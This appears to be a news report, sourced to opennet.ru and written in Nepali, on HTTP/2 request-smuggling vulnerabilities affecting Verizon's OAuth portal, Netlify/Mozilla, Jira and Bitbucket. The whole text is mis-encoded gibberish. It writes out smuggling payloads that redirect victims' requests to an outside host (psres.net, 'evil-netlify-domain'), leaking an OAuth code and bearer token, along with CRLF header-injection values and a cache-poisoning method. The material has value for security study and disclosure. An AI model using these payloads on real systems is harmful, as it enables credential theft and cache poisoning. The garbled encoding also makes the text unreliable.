рдпрд╕реНрддреЛ рдЦрд╛рдбрд▓ рдХреЛ рдЙрдкрд╕реНрдерд┐рддрд┐ Verizon рдХреЛ рдЙрджрд╛рд╣рд░рдг рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд░реНрд╢рди рдЧрд░рд┐рдПрдХреЛ рдерд┐рдпреЛред рд╕рдорд╕реНрдпрд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреЛрд░реНрдЯрд▓ рд░ рд╕рд╛рдордЧреНрд░реА рд╡реНрдпрд╡рд╕реНрдерд╛рдкрди рдкреНрд░рдгрд╛рд▓реАрд╕рдБрдЧ рд╕рдореНрдмрдиреНрдзрд┐рдд рдЫ, рдЬреБрди Huffington Post рд░ Engadget рдЬрд╕реНрддрд╛ рд╕рд╛рдЗрдЯрд╣рд░реВрдорд╛ рдкрдирд┐ рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рдиреНрдЫред рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐, HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com рд╕реНрдерд╛рдирд╛рдиреНрддрд░рдг-рдЗрдиреНрдХреЛрдбрд┐рдЩ chunked 0 GET /oops HTTP/1.1 рд╣реЛрд╕реНрдЯ: psres.net рд╕рд╛рдордЧреНрд░реА-рд▓рдореНрдмрд╛рдЗ: 10 рдорд╛рд░реНрдлрдд рдЧреНрд░рд╛рд╣рдХ рдЕрдиреБрд░реЛрдз x=

рдмреНрдпрд╛рдХрдЗрдиреНрдбрдорд╛ HTTP/1.1 рдЕрдиреБрд░реЛрдз рдкрдард╛рдЙрдиреЗ рдкрд░рд┐рдгрд╛рдо: POST /identity/XUI HTTP/1.1 рд╣реЛрд╕реНрдЯ: id.b2b.oath.com рд╕рд╛рдордЧреНрд░реА-рд▓рдореНрдмрд╛рдЗ: 66 рд╕реНрдерд╛рдирд╛рдиреНрддрд░рдг-рдЗрдиреНрдХреЛрдбрд┐рдЩ: chunked 0 GET /oops HTTP/1.1 рд╣реЛрд╕реНрдЯ: psresред рд╢реБрджреНрдз рд╕рд╛рдордЧреНрд░реА- рд▓рдореНрдмрд╛рдЗ: 10x =

рдмреНрдпрд╛рдХрдЗрдиреНрдбрд▓реЗ, рдмрджрд▓рд╛рдорд╛, "рд╕рд╛рдордЧреНрд░реА-рд▓рдореНрдмрд╛рдЗ" рд╣реЗрдбрд░рд▓рд╛рдИ рдмреЗрд╡рд╛рд╕реНрддрд╛ рдЧрд░реНрдпреЛ рд░ "рд╕реНрдерд╛рдирд╛рдиреНрддрд░рдг-рдЗрдиреНрдХреЛрдбрд┐рдЩ: chunked" рдорд╛ рдЖрдзрд╛рд░рд┐рдд рдЗрди-рд╕реНрдЯреНрд░реАрдо рд╡рд┐рднрд╛рдЬрди рдкреНрд░рджрд░реНрд╢рди рдЧрд░реНрдпреЛред рдЕрднреНрдпрд╛рд╕рдорд╛, рдЖрдХреНрд░рдордгрд▓реЗ OAuth рдкреНрд░рдорд╛рдгреАрдХрд░рдгрд╕рдБрдЧ рд╕рдореНрдмрдиреНрдзрд┐рдд рдЕрдиреБрд░реЛрдзрд╣рд░реВ рдЕрд╡рд░реЛрдз рдЧрд░реНрдиреЗ, рдЬрд╕рдХрд╛ рдорд╛рдкрджрдгреНрдбрд╣рд░реВ рд╕рдиреНрджрд░реНрднрдХрд░реНрддрд╛ рд╣реЗрдбрд░рдорд╛ рдкреНрд░рджрд░реНрд╢рд┐рдд рднрдПрдХрд╛ рдерд┐рдП, рд╕рд╛рдереИ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╕рддреНрд░ рд╕рд┐рдореБрд▓реЗрдЯ рдЧрд░реНрдиреЗ рд░ рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рдХреЛ рдкреНрд░рдгрд╛рд▓реАрд▓рд╛рдИ рдкреНрд░рдорд╛рдгрд╣рд░реВ рдкрдард╛рдЙрди рдЯреНрд░рд┐рдЧрд░ рдЧрд░реНрдиреЗ рд╕рд╣рд┐рдд, рддрд┐рдиреАрд╣рд░реВрдХреЛ рд╡реЗрдмрд╕рд╛рдЗрдЯрдорд╛ рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдиреБрд░реЛрдзрд╣рд░реВ рд░рд┐рдбрд┐рд░реЗрдХреНрдЯ рдЧрд░реНрди рд╕рдореНрднрд╡ рдмрдирд╛рдпреЛред рдЖрдХреНрд░рдордгрдХрд╛рд░реАрдХреЛ рд╣реЛрд╕реНрдЯрд▓рд╛рдИред GET /b2blanding/show/oops HTTP/1.1 рд╣реЛрд╕реНрдЯ: psres.net рд╕рдиреНрджрд░реНрднрдХрд░реНрддрд╛: https://id.b2b.oath.com/?тАж&code=secret GET / HTTP/1.1 рд╣реЛрд╕реНрдЯ: psres.net рдкреНрд░рд╛рдзрд┐рдХрд░рдг: рд╡рд╛рд╣рдХ eyJhcGwiOiJIUzI1Gi1sInkтАжcCII6

HTTP/2 рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрдирд╣рд░реВрд▓рд╛рдИ рдЖрдХреНрд░рдордг рдЧрд░реНрди рдЬрд╕рд▓реЗ рд╕реНрдерд╛рдирд╛рдиреНрддрд░рдг-рдЗрдиреНрдХреЛрдбрд┐рдЩ рд╕реНрдпреВрдбреЛ-рд╣реЗрдбрд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЧрд░реНрди рдЕрдиреБрдорддрд┐ рджрд┐рдБрджреИрди, рдЕрд░реНрдХреЛ рд╡рд┐рдзрд┐ рдкреНрд░рд╕реНрддрд╛рд╡ рдЧрд░рд┐рдПрдХреЛ рдЫ рдЬрд╕рдорд╛ "рд╕реНрдерд╛рдирд╛рдиреНрддрд░рдг-рдЗрдиреНрдХреЛрдбрд┐рдЩ" рд╣реЗрдбрд░рд▓рд╛рдИ рдирдпрд╛рдБ рд▓рд╛рдЗрди рдХреНрдпрд╛рд░реЗрдХреНрдЯрд░рджреНрд╡рд╛рд░рд╛ рдЫреБрдЯреНрдпрд╛рдЗрдПрдХреЛ рдЕрдиреНрдп рд╕реНрдпреВрдбреЛ-рд╣реЗрдбрд░рд╣рд░реВрдорд╛ рд╕рдВрд▓рдЧреНрди рдЧрд░реЗрд░ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрди рд╕рдорд╛рд╡реЗрд╢ рдЧрд░рд┐рдПрдХреЛ рдЫред HTTP/1.1 рдорд╛ рд░реВрдкрд╛рдиреНрддрд░рдг рдЧрд░реНрджрд╛ рдпрд╕ рдЕрд╡рд╕реНрдерд╛рдорд╛ рджреБрдИ рдЕрд▓рдЧ HTTP рд╣реЗрдбрд░рд╣рд░реВ рд╕рд┐рд░реНрдЬрдирд╛ рдЧрд░реНрджрдЫ)ред

рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐, Atlassian Jira рд░ Netlify CDN (Firefox рдорд╛ рдореЛрдЬрд┐рд▓рд╛ рд╕реБрд░реБ рдкреГрд╖реНрда рд╕реЗрд╡рд╛ рдЧрд░реНрди рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рдПрдХреЛ) рдпрд╕ рд╕рдорд╕реНрдпрд╛рдмрд╛рдЯ рдкреНрд░рднрд╛рд╡рд┐рдд рдерд┐рдПред рд╡рд┐рд╢реЗрд╖ рд░реВрдкрдорд╛, HTTP/2 рдЕрдиреБрд░реЛрдз :method POST :path / :authority start.mozilla.org foo b\r\n рд╕реНрдерд╛рдирд╛рдиреНрддрд░рдг-рдЗрдиреНрдХреЛрдбрд┐рдЩ: chunked 0\r\n \r\n GET / HTTP/1.1\r\n рд╣реЛрд╕реНрдЯ : evil-netlify-domain\r\n рд╕рд╛рдордЧреНрд░реА-рд▓рдореНрдмрд╛рдЗ: 5\r\n \r\nx=

HTTP/1.1 POST/HTTP/1.1 рдЕрдиреБрд░реЛрдз рдмреНрдпрд╛рдХрдЗрдиреНрдбрдорд╛ рдкрдард╛рдЗрдпреЛ\r\n рд╣реЛрд╕реНрдЯ: start.mozilla.org\r\n Foo: b\r\n рд╕реНрдерд╛рдирд╛рдиреНрддрд░рдг-рдЗрдиреНрдХреЛрдбрд┐рдЩ: chunked\r\n рд╕рд╛рдордЧреНрд░реА-рд▓рдореНрдмрд╛рдЗ : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n рд╣реЛрд╕реНрдЯ: evil-netlify-domain\r\n рд╕рд╛рдордЧреНрд░реА-рд▓рдореНрдмрд╛рдЗ: 5\r\n \r \nx=

"рд╕реНрдерд╛рдирд╛рдиреНрддрд░рдг-рдЗрдиреНрдХреЛрдбрд┐рдЩ" рд╣реЗрдбрд░рд▓рд╛рдИ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрди рдЧрд░реНрдиреЗ рдЕрд░реНрдХреЛ рд╡рд┐рдХрд▓реНрдк рдЕрд░реНрдХреЛ рдЫрджреНрдо-рд╣реЗрдбрд░рдХреЛ рдирд╛рдордорд╛ рд╡рд╛ рдЕрдиреБрд░реЛрдз рд╡рд┐рдзрд┐рдХреЛ рд╕рд╛рде рд▓рд╛рдЗрдирдорд╛ рд╕рдВрд▓рдЧреНрди рдЧрд░реНрдиреБ рдерд┐рдпреЛред рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐, Atlassian Jira рдкрд╣реБрдБрдЪ рдЧрд░реНрджрд╛, "chunked" рдорд╛рдирдХреЛ рд╕реНрдпреБрдбреЛ-рд╣реЗрдбрд░ рдирд╛рдо "foo:bar\r\ntransfer-encoding" рд▓реЗ HTTP рд╣реЗрдбрд░рд╣рд░реВ "foo:bar" рд░ "transfer-encoding: chunked" рдердкреНрди рдмрд╛рдзреНрдп рдмрдирд╛рдпреЛред , рд░ рд╕реНрдпреВрдбреЛ-рд╣реЗрдбрд░ ": рд╡рд┐рдзрд┐" рдорд╛рди рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЧрд░реНрджреИ "GET / HTTP/1.1\r\nTransfer-encoding: chunked" рд▓рд╛рдИ "GET / HTTP/1.1\r\nрдЯреНрд░рд╛рдиреНрд╕рдлрд░-рдЗрдиреНрдХреЛрдбрд┐рдЩ: chunked" рдорд╛ рдЕрдиреБрд╡рд╛рдж рдЧрд░рд┐рдПрдХреЛ рдерд┐рдпреЛред

рд╕рдорд╕реНрдпрд╛ рдкрд╣рд┐рдЪрд╛рди рдЧрд░реНрдиреЗ рдЕрдиреНрд╡реЗрд╖рдХрд▓реЗ рдлреНрд░рдиреНрдЯрдПрдиреНрдбрд╣рд░реВ рдЖрдХреНрд░рдордг рдЧрд░реНрди рдЕрдиреБрд░реЛрдз рдЯрдиреЗрд▓рд┐рдЩ рдкреНрд░рд╡рд┐рдзрд┐ рдкрдирд┐ рдкреНрд░рд╕реНрддрд╛рд╡ рдЧрд░реЗ, рдЬрд╕рдорд╛ рдкреНрд░рддреНрдпреЗрдХ рдЖрдИрдкреА рдареЗрдЧрд╛рдирд╛рд▓реЗ рдмреНрдпрд╛рдХрдЗрдиреНрдбрдорд╛ рдЫреБрдЯреНрдЯреИ рдЬрдбрд╛рди рд╕реНрдерд╛рдкрдирд╛ рдЧрд░реНрджрдЫ рд░ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рд╣рд░реВрдмрд╛рдЯ рдЯреНрд░рд╛рдлрд┐рдХ рдорд┐рд╢реНрд░рд┐рдд рд╣реБрдБрджреИрдиред рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рдкреНрд░рд╡рд┐рдзрд┐рд▓реЗ рдЕрдиреНрдп рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рд╣рд░реВрдХреЛ рдЕрдиреБрд░реЛрдзрд╣рд░реВрдорд╛ рд╣рд╕реНрддрдХреНрд╖реЗрдк рдЧрд░реНрди рдЕрдиреБрдорддрд┐ рджрд┐рдБрджреИрди, рддрд░ рд╕рд╛рдЭрд╛ рдХреНрдпрд╛рд╕рд▓рд╛рдИ рд╡рд┐рд╖рд╛рдХреНрдд рдЧрд░реНрди рд╕рдореНрднрд╡ рдмрдирд╛рдЙрдБрдЫ рдЬрд╕рд▓реЗ рдЕрдиреНрдп рдЕрдиреБрд░реЛрдзрд╣рд░реВрдХреЛ рдкреНрд░рд╢реЛрдзрдирд▓рд╛рдИ рдЕрд╕рд░ рдЧрд░реНрдЫ, рд░ рдлреНрд░рдиреНрдЯрдПрдиреНрдбрдмрд╛рдЯ рдмреНрдпрд╛рдХрдЗрдиреНрдбрдорд╛ рд╕реЗрд╡рд╛ рдЬрд╛рдирдХрд╛рд░реА рд╕реНрдерд╛рдирд╛рдиреНрддрд░рдг рдЧрд░реНрди рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рдиреЗ рдЖрдиреНрддрд░рд┐рдХ HTTP рд╣реЗрдбрд░рд╣рд░реВрдХреЛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрдирд▓рд╛рдИ рдЕрдиреБрдорддрд┐ рджрд┐рдиреНрдЫред рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐, рдпрд╕реНрддрд╛ рд╣реЗрдбрд░рд╣рд░реВрдорд╛ рдлреНрд░рдиреНрдЯрдПрдиреНрдб рд╕рд╛рдЗрдбрдорд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЧрд░реНрджрд╛ рд╣рд╛рд▓рдХреЛ рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рдХреЛ рдмрд╛рд░реЗрдорд╛ рдЬрд╛рдирдХрд╛рд░реА рдмреНрдпрд╛рдХрдЗрдиреНрдбрдорд╛ рдкрдард╛рдЙрди рд╕рдХреНрдЫ)ред рдЕрднреНрдпрд╛рд╕рдорд╛ рд╡рд┐рдзрд┐ рд▓рд╛рдЧреВ рдЧрд░реНрдиреЗ рдЙрджрд╛рд╣рд░рдгрдХреЛ рд░реВрдкрдорд╛, рдХреНрдпрд╛рд╕ рд╡рд┐рд╖рд╛рдХреНрддрддрд╛ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░, рдмрд┐рдЯрдмрдХреЗрдЯ рд╕реЗрд╡рд╛рдорд╛ рдкреГрд╖реНрдард╣рд░реВрдорд╛ рдирд┐рдпрдиреНрддреНрд░рдг рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрди рд╕рдореНрднрд╡ рдерд┐рдпреЛред

рд╕реНрд░реЛрдд: opennet.ru

рдПрдХ рдЯрд┐рдкреНрдкрдгреА рдердкреНрди